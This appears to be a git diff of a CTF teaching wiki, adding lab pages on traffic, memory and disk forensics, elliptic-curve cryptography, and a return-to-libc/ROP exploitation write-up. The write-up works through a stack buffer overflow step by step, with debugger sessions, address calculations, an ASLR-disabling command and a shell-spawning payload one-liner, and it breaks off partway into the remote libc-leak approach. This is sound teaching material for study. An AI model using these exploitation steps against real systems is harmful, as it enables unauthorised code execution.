从0到1:CTFer成长之路

+

For the English version, we can reference these wiki:

+

https://wiki.compass.college/

+

https://teambi0s.gitlab.io/bi0s-wiki/

+

Environment

+

If you want to use some virtual machine as a penetration environment, instead of your physical computer, there are some great distributions:

+
    +
  • Kali Linux: https://www.kali.org/
  • +
  • Black Arch Linux: https://blackarch.org/
  • +
  • Windows 10: https://github.com/makoto56/penetration-suite-toolkit
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 1 Packet Sniffing and Wireshark/index.html b/CS315/Lab 1 Packet Sniffing and Wireshark/index.html new file mode 100644 index 000000000..f05837a56 --- /dev/null +++ b/CS315/Lab 1 Packet Sniffing and Wireshark/index.html @@ -0,0 +1,8526 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 1: Packet Sniffing and Wireshark - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 1: Packet Sniffing and Wireshark

+

In reality, e-discovery (digital forensics) is the process of obtaining, preserving, analyzing and presenting evidence of computer intrusion, sabotage, fraud, attack and other crimes in a manner consistent with legal norms by using computer software and hardware technologies. The forensics-related topics in CTF are the process of obtaining the flags placed by the questioner by analyzing the files containing relevant records and traces, such as traffic packets, log files, disk memory images, etc. Forensics-related topics are characterized by a large amount of information, and it may take a very long time to analyze them one by one, so it is essential to master efficient analysis methods.

+

This section will introduce three common forensic scenarios in CTF, namely traffic analysis, memory image forensics and disk image forensics, the reader needs to master the pre-requisite knowledge including computer network basics, file system basics and operating system basics.

+

Traffic Analysis

+

Wireshark and Tshark

+

A traffic packet is generally a traffic file in PCAP format obtained by traffic crawling of a network device on a computer using tools such as tcpdump. The graphical tool Wireshark and its command line tool Tshark can analyze such traffic packets. Wireshark is free software (official website is https://www.wireshark.org/) and supports the analysis of multiple protocols and also supports the traffic capture function.

+

The interface of Wireshark is shown in Figure 9-3-1. After loading the traffic packet you can see the network traffic, protocols and status are distinguished by color, click on a traffic to see the details of the traffic. Enter the filter expression in the filter field to filter the traffic and see the required network traffic. If you want to filter network traffic for the FTP protocol, enter the FTP expression to see the results (see Figure 9-3-2).

+

9-3-1

+

9-3-2

+

Tshark is a command-line tool for Wireshark. Wireshark builds the metadata of traffic packets in memory, so Tshark is useful for analyzing huge traffic packets and can significantly improve performance. Tshark's command-line parameters are very complex, and the details of how to use them can be found at https://www.wireshark.org/ docs/man-pages/tshark.html for details. An example of filtering FTP protocols in the same traffic packets as the previous section is shown in Figure 9-3-3.

+

9-3-3

+

Traffic analysis common operations

+

Wireshark's "Statistics" menu allows you to view the general status of traffic packets, such as which protocols are included, which IP addresses are involved in the session, and so on. Figure 9-3-4 and Figure 9-3-5 show the protocol hierarchy statistics and session statistics, respectively. These two functions can help us quickly locate the point that needs to be analyzed, because the traffic analysis in CTF often has a lot of interference traffic, and the traffic required by the questioner is usually obtained in the LAN or a specific few hosts, by viewing the traffic information can greatly save the time to find the traffic that needs to be analyzed.

+

9-3-4

+

9-3-5

+

The most widely used transport layer protocol in computer networks is TCP, which is a connection-oriented protocol that allows both transmitting parties to ensure transparent transmission and only care about the data they get. However, in the actual transmission process, TCP traffic can be sliced into many small datagrams due to the MTU, making it inconvenient to analyze. To address this situation, Wireshark provides the ability to trace TCP streams. By selecting a datagram and right-clicking on "Trace TCP Stream", you can obtain all the data transmitted by both parties in the TCP session for further analysis, see Figure 9-3-6.

+

9-3-6

+

For common protocols such as HTTP, Wireshark provides an export object function (in the "File" menu) that makes it easy to extract information such as files sent during transmission. Figure 9-3-7 shows the export function for HTTP objects.

+

9-3-7

+

Sometimes the traffic packets that need to be analyzed are almost always encrypted traffic for the SSL protocol, and if the SSL key log can be obtained from another location in the topic, then Wireshark can be used to attempt to decrypt the traffic. The Wireshark parsable SSL key log file is shown below.

+

9-3-7-2

+

After obtaining this form of key log, we can open Wireshark's preferences, select the SSL protocol in the "Protocol" option, and then fill in the path to the key file in "(Pre)-Master-Secret Log Filename" (see Figure 9-3-8), and then decrypt some of the SSL traffic.

+

9-3-8

+

Due to the complexity of network protocols, there are far more places where data can be hidden than just the normal transmission flow. Therefore, when analyzing network traffic packets, if no breakthrough can be found from the data transmitted in the normal way, then it is necessary to focus on some protocols that look abnormal in the traffic packets and carefully examine the fields to observe whether there is any imprint of hidden data. Figure 9-3-9 and Figure 9-3-10 are examples of using the length of ICMP datagram to hide information in a foreign CTF competition.

+

9-3-9

+

9-3-10

+

Analysis of special kinds of traffic packages

+

There are some special kinds of traffic analysis in CTF, and the traffic package provided in the title is not network traffic, but other types of traffic. This section will introduce the analysis method of USB keyboard and mouse traffic.

+

USB traffic packets in Wireshark are shown in Figure 9-3-11. In CTF, we only need to focus on USB Capture Data, that is, the acquired USB data, according to the form of data can determine the different USB devices. Detailed documentation about USB data can be obtained from the official USB website, such as https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf and https://usb.org/sites/default/files/ documents/hid1_11.pdf.

+

9-3-11

+

The USB keyboard datagram has 8 bytes each time, and the specific meaning is shown in Table 9-3-1.

+

Since it is usually pressed one key at a time during normal use, you only need to pay attention to the key combination status of byte 0 and the key code of byte 2. See Table 9-3-2 for the meaning of the 8-bit key combination in byte 0.

+

The USB mouse datagram is 3 bytes, see Table 9-3-3 for the specific meaning.

+

9-3-1

+

9-3-2

+

9-3-3

+

The partial mapping table for the keyboard keys is shown in Figure 9-3-12 (from the official USB documentation), the full mapping table can be found on the official USB website.

+

For a USB traffic packet, the Tshark tool can easily obtain the pure data fields: tshark-r filename.pcapng-T fields-e usb.capdata +After obtaining the data, according to the previous meaning, using languages such as Python, you can write scripts to restore the information and get it for further analysis.

+

9-3-12

+

Summary of traffic packet analysis

+

In CTF, there are a variety of traffic packet analysis topics, and the above is just a brief introduction to the common test points and basic solution ideas. If you encounter other types of questions, the reader also needs to be familiar with the corresponding protocols to analyze where information may be hidden.

+

Memory Image Forensics

+

Introduction to memory image forensics

+

Memory forensics questions in CTF take the form of providing a complete memory image or a core dump file, and participants should analyze information such as the processes being executed in memory to solve what they need. Memory forensics often works in conjunction with other forensics, and a common framework is Volatility, an open source professional memory forensics tool from the Volatility Open Source Foundation that supports memory image analysis for Windows, Linux, and other operating systems.

+

Common operations for memory image forensics

+

When we get a memory image, we first need to determine the basic information of the image, the most important of which is to determine what kind of operating system the image is. volatility tool provides the basic analysis of the image, using the imageinfo command to get the image information, see Figure 9-3-13.

+

9-3-13

+

Once we have the image information, we can use a specific configuration file to analyze the image. Volatility provides many commands for analyzing processes, such as pstree, psscan, pslist, etc. These commands vary in strength and output. Figure 9-3-14 shows the process information obtained using psscan.

+

9-3-14

+

In addition, the filescan command can scan open files, as shown in Figure 9-3-15. When a suspicious file or process in memory is identified, the relevant data can be exported using the dumpfile and memdump commands, and then the exported data can be binary analyzed. the Screenshot function can obtain a screenshot of the system at this moment, see Figure 9-3-16.

+

9-3-15

+

9-3-16

+

For different systems, Volatility supports many unique features, such as support for getting text directly from an open Notepad process under Windows, or Dumping out information such as password hash values contained in memory about Windows logins.

+

Volatility supports third-party plugins, and there are many developers who have developed powerful plugins such as https://github.com/superponible/volatility-plugins. When the commands that come with the framework don't meet your needs, look for a good plugin.

+

Memory Image Forensics Summary

+

For memory forensics topics, we can easily solve them if we are familiar with the common commands of Volatility tools and can analyze the extracted files in combination with other types of knowledge (e.g. image steganography, zip analysis, etc.).

+

Disk image forensics

+

Introduction to disk image forensics

+

Disk forensics questions in CTF typically provide a disk image in an unknown format, and participants need to analyze the usage traces left by the user to find hidden data. Since disk forensics is a file-based analysis, it often appears alongside other directions that examine forensics and are closer to real forensics work. Compared to memory forensics, disk forensics is generally more informative, although it is relatively easy to locate specific usage traces of users because it contains more information. Disk forensics generally does not require specialized software, unless it is a disk image in some special format, such as VMWare's VMDK or Encase's EWF.

+

Common operations for disk image forensics

+

Similar to memory forensics, the first step in disk forensics is to determine the type of disk and mount it, which can be done with the file command that comes with UNIX/Linux, see Figure 9-3-17.

+

9-3-17

+

After confirming the type, you can use the "fdisk-l" command to view the volume information on the disk and get the type, offset, etc. of each volume, see Figure 9-3-18. Then you can mount the disk image using the "mount" command. mount The format of the command is as follows.

+

9-3-18

+

For local file mounts, the "loop" item is included, and if it is a multi-partition image as described above, then the "offset" item should be added and its value specified. If the file system is not natively supported by the system, then you need to install the relevant driver, such as NTFS-3g driver for mounting NTFS file system under Linux. The successfully mounted folder is shown in Figure 9-3-19.

+

9-3-19

+

Once the image is mounted, the questioner must have operated on the file system when creating the image, so you can follow the common forensic steps to analyze the file system usage traces. For example, the ".bash_history" file in the Linux file system and the Recent folder under Windows will have a history of operations on the file system, see Figure 9-3-20.

+

9-3-20

+

Once the suspicious file is obtained, it can be extracted for binary analysis. In most cases, the suspicious file itself will use other information hiding techniques, such as steganography.

+

There are also disk image forensic type questions that focus on the unique features of certain file systems, such as inode recovery in EXT series file systems, FAT table recovery in FAT series file systems, snapshot features and nanosecond timestamp features of APFS file systems, etc. When you encounter a bottleneck in the analysis of a file, you may want to understand the characteristics of the file system itself to find a breakthrough.

+

Disk image forensics summary

+

Disk forensics questions are actually similar to memory forensics questions and are often combined with compressed package analysis, image steganography, and other types of questions. As long as the participant is familiar with common images, can determine the type of image and mount or extract the file, and with a certain understanding of the file system, he or she can successfully solve hard disk forensics related questions.

+

Summary

+

With the continuous development of CTF, Misc type questions examine a wider and wider range of knowledge points, and become more and more difficult compared to the simple picture steganography of a few years ago. Due to the limitation of space, this chapter only briefly introduces several sets of questions that appear more frequently in the CTF. As written in the introduction of this chapter, in high quality competitions, in addition to the set of questions introduced in this chapter, participants often encounter many novel questions, which either examine the depth and breadth of the participants' knowledge, or examine the participants' ability to learn quickly. These require the participants to have certain computer expertise, as well as the need to search and read a lot of information with the help of search engines, and to solve the topics through rapid learning.

+

Assignment

+

(1-Easy) Sign in

+

What's a CTF? Join our QQ Group to get the flag!

+

(2-Medium) HTTP code 206

+

Flag? Flag!

+

Flag format: flag{xxxxxxxx}

+

Download attachment: fenxi.pcapng

+

(3-Hard) Time-based SQL Injection

+

In fact this isn't a Web challenge.

+

Flag format: flag{xxxxxxxx}

+

Download attachment: sql.pcapng

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 10 Public Key Cryptography/index.html b/CS315/Lab 10 Public Key Cryptography/index.html new file mode 100644 index 000000000..9cd48653c --- /dev/null +++ b/CS315/Lab 10 Public Key Cryptography/index.html @@ -0,0 +1,8437 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 10: Public Key Cryptography - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 10: Public Key Cryptography

+
+

Reference https://ithelp.ithome.com.tw/articles/10251031 by 羊小咩

+
+

Today we are going to introduce ECC, which is also a security mechanism based on mathematical difficulties.

+

Since ECC is originally a difficult algorithm, the ECC process and principles in the text are streamlined with many steps, algorithms, and some terminology in the mathematical field

+

Geometric addition, Algebraic addition, Scalar multiplication, Abelian group... These are not easy to understand in a few words, but require some basic concepts.

+

In general, I think it is a simple and concise way to explain

+

I think it is really difficult to explain ECC concisely.

+

image-20201009005151787

+

ECC Introduction

+

Elliptic Curve Cryptography (ECC) is a public key cryptography algorithm based on the mathematics of elliptic curves. The use of elliptic curves in cryptography was independently proposed by Neal Koblitz and Victor Miller in 1985.

+

Another advantage of ECC is that it can define bilinear mappings between groups, based on Weil pairs or Tate pairs; bilinear mappings have found numerous applications in cryptography, such as identity-based encryption.

+

image-20201009011638394

+

Concept / Term Definition

+

Elliptic Curve

+

An elliptic curve is a plane curve defined by an equation of the form:

+

{\displaystyle y^{2}=x^{3}+ax+b.}

+

where a and b are real numbers. This class is called the Weierstrass equation

+

image-20201009012820496

+

Elliptic Curve Rule (Group Rule)

+

Addition

+

Draw a straight line through two points P and Q on the curve and find the intersection of the straight line and the elliptic curve -R

+

The point of intersection is defined as P Q. The point of intersection is defined as the symmetric position of the x-axis. As shown in the figure below: PQ = R

+

image-20201009013454604

+

Multiplicative definition (two-fold operation)

+

The above method does not explain the case where P P, i.e., two points coincide. Therefore, in this case, the tangent of the elliptic curve at point P, the intersection with the elliptic curve, and the point of the intersection about the symmetric position of the x-axis are defined as P P, i.e., 2P, which is a doubling operation

+

image-20201009013609229

+

Infinity point

+

If we add A and -A, the straight line through A and -A is parallel to the y-axis, and the straight line intersects the elliptic curve at the infinity point.

+

image-20201009013734119

+

Definition of Elliptic Curve

+

According to the definition of the above properties, we can organize

+
    +
  • +

    The equation of elliptic curve is y^2=x^3+ax+b

    +
  • +
  • +

    This curve is exactly symmetric to the x-axis (y=0) of this straight line

    +
  • +
  • +

    The parameters a and b must satisfy 4a^3+27b^2≠0 to ensure that there are no repeated roots and have a unique solution!

    +
  • +
  • +

    The additive unit element O is an infinite point and satisfies O = -O

    +
  • +
  • +

    This additive unit element also needs to satisfy: a point on the elliptic curve that is common to three points whose union is O

    +
  • +
+

Elliptic Curve Characteristics

+
    +
  • +

    Any point on the curve is reflected by the x-axis (y=0) and remains the same curve (peculiar symmetry)

    +
  • +
  • +

    Any line not perpendicular to the curve will have at most three points of intersection

    +
  • +
+

Strange symmetry

+

The elliptic curve is drawn. It has several interesting properties.

+

One of them is horizontal symmetry. Any point on the curve can be reflected on the x-axis and maintain the same curve. An even more interesting property is that any non-perpendicular line will intersect the curve in at most three places.

+

The elliptic curve is compared to a game of batting, where the ball is clicked from point A to point B. When it hits a point on the curve, the ball is then moved to the next point, +When it hits a point on the curve, it bounces back to point C on the other side (above or below the x-axis).

+

img

+

First imagine that the ball moves in two points called "dot"

+

A dot B = C +A dot A = B +A dot C = D +... ... ...

+

There are only two points here (called: the initial point & final point)

+

The initial point P is tapped n times by itself (as Private Key) to get a final point Q (as Public Key)

+

Even if you know the "initial point" and "final point"

+

It is very, very difficult to find n!

+

Finite domain (Galois domain) and discrete logarithm

+

elliptic curves are continuous and easily extrapolated, and therefore, are not suitable for encryption.

+

Therefore, we must make the elliptic curve a discrete point

+

The elliptic curve is defined on a finite field, and then the integer field GF(p) modulo the prime number is used

+

A finite field GF(p) is a set of integers consisting of 0, 1, 2 ......p-1 with p elements, given a certain prime number p. It is defined by adding, subtracting, multiplying, and dividing.

+

Suppose the elliptic curve is y² = x³+x+1, which is written as follows when it is over a finite field GF(23)

+

y² ≡ x³+x+1 (mod 23)

+

The elliptic curve is no longer smooth at this point, but with some discontinuous points, as shown in the figure below. For example, the point (1,7), 7² ≡ 1³ 1 1 ≡ 3 (mod 23). In this way, there are also points as follows.

+
  (0,1) (0,22)
+  (1,7) (1,16)
+  (3,10) (3,13)
+  (4,0)
+
+

This will make the original curve look continuous

+

image-20201009013609229

+

Converting to finite fields

+

214729t0hhla1y88quftl1

+

Then you can play the game of Greedy Snake (?)

+

The line from point A to point B is not perpendicular to the curved EC line and will only have at most three intersections!

+

When the collision reaches the third intersection, the third intersection must find a symmetrical point C on the x-axis of the EC curve (above or below)

+

214838iuneggurovjwowjv

+

ECC's simple definition and operation process

+

Calculation Example

+

Set up a finite field Fp

+

after the selection of the curve and the calculation of the given parameters

+

The curve is known at two points P(3,10) and Q(9,7) on E23(1,1), find (1) -P, (2) P+Q, (3) 2P

+

image-20201009020457980

+

If at a point P on the elliptic curve, there exists the smallest positive integer n such that the number multiplier nP = O∞ , then n is called the order of P

+

If n does not exist, then P is of infinite order

+

image-20201009020508303

+

Therefore, after selecting n, we can calculate 27P = -P

+

So 28P=O ∞ The order of P is 28

+

These points make a cyclic Abelian group, where the generating element is P and the order is 28

+

and select the basis points from it and start calculating

+

Consider K=kG , where K and G are points on the elliptic curve Ep(a,b), n is the order of G (nG=O∞), and k is an integer smaller than n.

+

Then given k and G, it is easy to calculate K according to the law of addition

+

But conversely, given k and G, it is very difficult to find k

+

where k and K are the private key and public key respectively.

+

This is the flow of elliptic curve calculation

+

An elliptic curve {p,a,b,G,n,h}

+
    +
  • p : a prime number decision field
  • +
  • a , b : the parameters of the curve
  • +
  • G : the base point
  • +
  • n : the order of G
  • +
  • h : the quotient divided by an integer
  • +
+

Principle of Elliptic Curve Encryption and Decryption Algorithm ECIES

+

Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.

+

Public key encryption.

+

Choose a random number r to generate a ciphertext C from the message M, which is a point pair, i.e.

+

C = {rG, M rK}, where K is the public key

+

Private key decryption.

+

M rK - k(rG) = M r(kG) - k(rG) = M

+

where k and K are the private key and public key respectively.

+

It is very difficult to find x for the known G and xG on the elliptic curve, which is the discrete logarithm problem on the elliptic curve. Here x is the private key and xG is the public key.

+

Principle of Elliptic Curve Signature Algorithm ECDSA

+

Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.

+

Private key signature.

+
    +
  1. Choose random number r and calculate point rG(x, y).
  2. +
  3. Calculate s = (h kx)/r based on the random number r, hash h of message M, and private key k.
  4. +
  5. Send message M, and signature {rG, s} to the recipient
  6. +
+

Public key verification signature.

+
    +
  1. Receive message M and signature {rG=(x,y), s} from the receiver.
  2. +
  3. Find hash h based on the message.
  4. +
  5. Use the public key K of the delivery party to calculate: hG/s xK/s and compare with rG, if equal, then the verification is successful.
  6. +
+

The principle is as follows.

+

hG/s xK/s = hG/s x(kG)/s = (h xk)G/s

+

= r(h xk)G / (h kx) = rG

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 11 Return-to-libc & Return Oriented Programming/index.html b/CS315/Lab 11 Return-to-libc & Return Oriented Programming/index.html new file mode 100644 index 000000000..2b2356832 --- /dev/null +++ b/CS315/Lab 11 Return-to-libc & Return Oriented Programming/index.html @@ -0,0 +1,8752 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 11: Return-to-libc & Return Oriented Programming - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Lab 11: Return-to-libc & Return Oriented Programming

+
+

Reference https://duroz.github.io/post/247ctf-pwn-non-executable-stack/

+

By Daniel Uroz

+
+

In this post, we’ll cover how to exploit a stack-based buffer overflow, this time with the stack marked as non-executable. We first detail how to manually exploit the binary locally and then in the remote server. In the end, we’ll use the Python library pwntools to speed up exploit development.

+

Challenge

+

This time, 247/CTF gives us a binary called non_executable_stack with the following description:

+
+

There are no hidden flag functions in this binary. Can you make your own without executing from the stack?

+
+

And here is an example of execution flow:

+
$ ./non_executable_stack 
+Enter the secret password:
+kk
+Incorrect secret password!
+
+

It’s an ELF 32-bit as in previous pwn challenges, but this time with NX bit enables to make stack segment (and any other) writable but not executable:

+
$ checksec non_executable_stack
+[*] '/home/urzu/247ctf/pwn/non_executable_stack'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x8048000)
+
+

This checksec version is the one coming with pwntools (you can install it with python3 -m pip install pwntools), there is also a Bash script with the same functionality.

+

Background

+

If we analyze the binary, we can quickly spot the use of the gets function to retrieve the password, so we can overflow the buffer due to no outbounds checking of the function:

+
$ r2 non_executable_stack 
+-- Virtual machines are great, but you lose the ability to kick the hardware.
+[0x080483c0]> aa
+[x] Analyze all flags starting with sym. and entry0 (aa)                   
+[0x080483c0]> s sym.chall 
+[0x080484d6]> pdf
+            ; CALL XREF from main @ 0x804857f
+┌ 103: sym.chall ();
+│           ; var int32_t var_28h @ ebp-0x28
+│           ; var int32_t var_4h @ ebp-0x4
+│           0x080484d6      55             push ebp
+│           0x080484d7      89e5           mov ebp, esp
+│           0x080484d9      53             push ebx
+│           0x080484da      83ec24         sub esp, 0x24
+[... redacted ...]
+│           0x080484eb      8d45d8         lea eax, [var_28h]
+│           0x080484ee      50             push eax
+│           0x080484ef      e88cfeffff     call sym.imp.gets           ; char *gets(char *s) <--- buffer overflow
+[... redacted ...]
+│      │    0x08048528      8d833de6ffff   lea eax, [ebx - 0x19c3]
+│      │    0x0804852e      50             push eax
+│      │    0x0804852f      e85cfeffff     call sym.imp.puts           ; int puts(const char *s)
+│      │    0x08048534      83c410         add esp, 0x10
+│      │    ; CODE XREF from sym.chall @ 0x8048523
+│      └──> 0x08048537      90             nop
+│           0x08048538      8b5dfc         mov ebx, dword [var_4h]
+│           0x0804853b      c9             leave
+└           0x0804853c      c3             ret
+[0x080484d6]>
+
+

This problem is that, whereas in previous challenges we could execute our payload directly into the stack, this time NX bit is preventing us to do so. Still, we can overwrite the return based stored in the stack to control the program flow, so why don’t use the code already residing in executable segments for our purpose? This is the main idea behind Return-to-libc attack and Return-oriented programming.

+

Return-to-libc

+

This attack relies on using code marked as executable contained in the libc shared library. libc provides a runtime environment to C programs, so it is usually loaded into the memory of most processes. In this binary, we can see that it will effectively be loaded thanks to:

+
$ ldd non_executable_stack 
+linux-gate.so.1 (0xf7fd2000)
+libc.so.6 => /lib32/libc.so.6 (0xf7dd4000)
+/lib/ld-linux.so.2 (0xf7fd4000)
+
+

libc provides a lot of functions like printf, scanf, fopen, and so on. Thus, if we can execute the system function (which executes a shell command) with the /bin/sh parameter, we’ll be able to prompt an interactive shell.

+

Local exploit

+

We’re going to develop a local version of the exploit and, to make it easier, we’re going to deactivate ASLR protection of our system:

+
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+0
+
+

Firstly, we can obtain the necessary padding to overwrite the return address by placing a breakpoint just before the ret instruction (0x0804853c in the code above) and seeing where is our input:

+
$ r2 -d non_executable_stack
+Process with PID 2381 started...
+= attach 2381 2381
+bin.baddr 0x08048000
+Using 0x8048000
+asm.bits 32
+glibc.fc_offset = 0x00148
+    -- Most likely your core dump fell into a blackhole, can't see it.
+[0xf7fd50b0]> aa
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[0xf7fd50b0]> db 0x0804853c
+[0xf7fd50b0]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+hit breakpoint at: 804853c
+[0x0804853c]> px -0x2c @ esp
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0xffffd1d0  6b6b 00ff 9096 fef7 90f8 faf7 00a0 0408  kk..............
+0xffffd1e0  00e0 faf7 00e0 faf7 08d2 ffff 7c85 0408  ............|...
+0xffffd1f0  5886 0408 00a0 0408 08d2 ffff            X...........
+[0x0804853c]>
+
+

Our input starts 0x2c before, so this is the amount of padding we need to provide and, then, the return address of the function we want to execute (system in this case). In addition, thanks to deactivating ASLR, libc will be loaded in the same base address during multiple executions (0xf7dd4000 in the example):

+
[0x0804853c]> dmm
+0x08048000 0x08049000  /home/urzu/247ctf/pwn/non_executable_stack
+0xf7dd4000 0xf7ded000  /usr/lib32/libc-2.28.so
+0xf7fd4000 0xf7fd5000  /usr/lib32/ld-2.28.so
+[0x0804853c]> ood
+PTRACE_CONT: No such process
+child received signal 9
+Process with PID 2337 started...
+= attach 2337 2337
+File dbg:///home/urzu/247ctf/pwn/non_executable_stack  reopened in read-write mode
+2337
+[0xf7fd50b0]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+[0xf7fd3069]> dmm
+0x08048000 0x08049000  /home/urzu/247ctf/pwn/non_executable_stack
+0xf7dd4000 0xf7ded000  /usr/lib32/libc-2.28.so
+0xf7fd4000 0xf7fd5000  /usr/lib32/ld-2.28.so
+[0xf7fd3069]>
+
+

So, our payload would look something like this (the dummy address is explained a bit below):

+
[0x2c padding] + [system address] + [dummy address] + [/bin/sh address]
+
+

We can obtain the function RVA with the following:

+
$ rabin2 -s /usr/lib32/libc-2.28.so | grep -w system
+1525  0x0003e9e0 0x0003e9e0 WEAK   FUNC   55        system
+
+

And the string offset (like an RVA) inside the library thanks to:

+
$ strings -t x /usr/lib32/libc-2.28.so | grep /bin/sh
+17eaaa /bin/sh
+
+

As we already know that libc will be loaded in 0xf7dd4000 address, we can add those RVA to the base address to obtain the following payload:

+
[0x2c padding] + [0xf7e129e0] + [dummy address] + [0xf7f52aaa]
+
+

We can check that we effectively calculate the absolute address right with radare2:

+
[0xf7f3b000]> dmi libc system
+257   0x0012a2c0 0xf7efe2c0 GLOBAL FUNC   102       svcerr_systemerr
+658   0x0003e9e0 0xf7e129e0 GLOBAL FUNC   55        __libc_system
+1525  0x0003e9e0 0xf7e129e0 WEAK   FUNC   55        system
+[0xf7f3b000]> / /bin/sh
+Searching 7 bytes in [0xf7f3b000-0xf7fab000]
+hits: 1
+0xf7f52aaa hit5_0 .b/strtod_l.c-c/bin/shexit 0canonica.
+
+

If we try our exploit, we can effectively obtain an interactive shell (the cat command is to maintain program stdin open and feed non_executable_stack with our commands):

+
$ (python2 -c 'print("A"*0x2c + "\xe0\x29\xe1\xf7" + "A"*4 + "\xaa\x2a\xf5\xf7")' && cat) | ./non_executable_stack    
+Enter the secret password:
+Incorrect secret password!
+whoami
+urzu
+
+

Stack frame

+

So, why do we need a dummy address between our function call and the parameter? This is due to how stack frames are constructed during function calls. We’ll see it with a simple C example:

+
#include <stdio.h>
+
+int main(int argc, char** argv) {
+    puts("Hello World!");
+    return 0; 
+}
+
+

Okay, so if we analyze the compiled binary (gcc -o test.out -m32 -no-pie test.c) with radare2, we'll see that the parameter "Hello World!" is passed into the stack at line 0x08049184:

+
│           0x0804917e      8d9008e0ffff   lea edx, [eax - 0x1ff8]
+│           0x08049184      52             push edx
+│           0x08049185      89c3           mov ebx, eax
+│           0x08049187      e8a4feffff     call sym.imp.puts           ; int puts(const char *s)
+│           0x0804918c      83c410         add esp, 0x10
+
+

After executing 0x08049184, the stack looks like this:

+
|       ...       |
+|-----------------|
+| @"Hello World!" |
+|-----------------|
+|       ...       |
+
+

Now, the function call at 0x08049187 will push the return address into the stack, so after the puts function ends doing its magic, the execution flow of our program will continue as if nothing happened. This means that when puts start to execute, it will see the stack as this:

+
|       ...       |
+|-----------------|
+|    0x0804918c   | <--- return address of the caller
+|-----------------|
+| @"Hello World!" |
+|-----------------|
+|       ...       |
+
+

This return address is exactly our dummy address from our payload. So, in our payload, after the shell finished executing, the binary will probably crash as the program will change execution flow to 0x41414141 and very likely nothing valid is there. Therefore, we can change our dummy address with the address of the exit function (calculated the same way that system function above) to produce a clean exit of the program:

+
[0x2c padding] + [0xf7e129e0] + [0xf7e03a60] + [0xf7f52aaa]
+
+

Remote exploit

+

Well, now we know how to exploit the binary locally, but we need to consider two aspects to exploit it in the server:

+
    +
  • We need to assume that ASLR will be activated.
  • +
  • We don’t know which version of libc is installed.
  • +
+

To overcome the two limitations, we can use a libc function leakage.

+

PLT and GOT

+

You can read more in detail in this blog, but we only need to know a general idea. When a dynamic linked binary is using an external function (like libc puts), your code can’t reference an absolute address of the library because this will change after each execution (due to ASLR) and it won’t be portable (different version of libc will have that function in different locations).

+

So, to overcome this issue, your code reference to another section within your binary, the Procedure Linkage Table (PLT). This section is responsible for either triggering linker resolution of the target function (due to lazy binding) or jumping to the target function if it was already resolved. The latter is stored in the Global Offset Table (GOT) section, which is the actual table of offsets as filled in by the linker for external symbols.

+

You can see how non_executable_stack reference to the PLT in the code:

+
[0x080484d6]> pdf
+[... redacted ...]
+│      │    0x08048528      8d833de6ffff   lea eax, [ebx - 0x19c3]
+│      │    0x0804852e      50             push eax
+│      │    0x0804852f      e85cfeffff     call sym.imp.puts           ; int puts(const char *s)
+[... redacted ...]
+
+

If we see the content of that address, we can see that there is another jump:

+
[0x080484d6]> s sym.imp.puts
+[0x08048390]> pd 1
+            ; CALL XREFS from sym.chall @ 0x804851b, 0x804852f
+            ; CALL XREF from main @ 0x8048577
+┌ 6: int sym.imp.puts (const char *s);
+│ bp: 0 (vars 0, args 0)
+│ sp: 0 (vars 0, args 0)
+│ rg: 0 (vars 0, args 0)
+└           0x08048390      ff2518a00408   jmp dword [reloc.puts]      ; 0x804a018
+
+

If we go to that address, we’ll see that there is another reference to the binary itself, this is the PLT stub responsible to resolve the address of the external symbol, so puts haven’t been invoked yet:

+
[0x08048390]> s reloc.puts
+[0x0804a018]> pd 1
+            ; DATA XREF from sym.imp.puts @ 0x8048390
+            ;-- reloc.puts:
+            0x0804a018      .dword 0x08048396                          ; RELOC 32 puts
+
+

If we continue execution to force puts resolution, now we can see that now the GOT is pointing to the actual offset in memory:

+
[0x0804a018]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+[0xf7fd3069]> s -
+[0x0804a018]> pd 1
+            ; DATA XREF from sym.imp.puts @ 0x8048390
+            ;-- reloc.puts:
+            0x0804a018      .dword 0xf7e3b0a0                          ; RELOC 32 puts
+[0x0804a018]> dmi libc puts
+[... redacted ...]
+458   0x000690a0 0xf7e3b0a0 WEAK   FUNC   416       puts
+[... redacted ...]
+[0x0804a018]>
+
+

libc leakage

+

With all of this in mind, we can construct our payload the same way as before, but instead, to reference the absolute address of the functions, we can use the address of the PLT known functions. We can use this technique only because the binary isn’t a Position Independent Executable (PIE) and we can reference the absolute value of the PLT as we know where the binary will be mapped during execution (base address 0x8048000).

+

So, in this case, our payload will be like this:

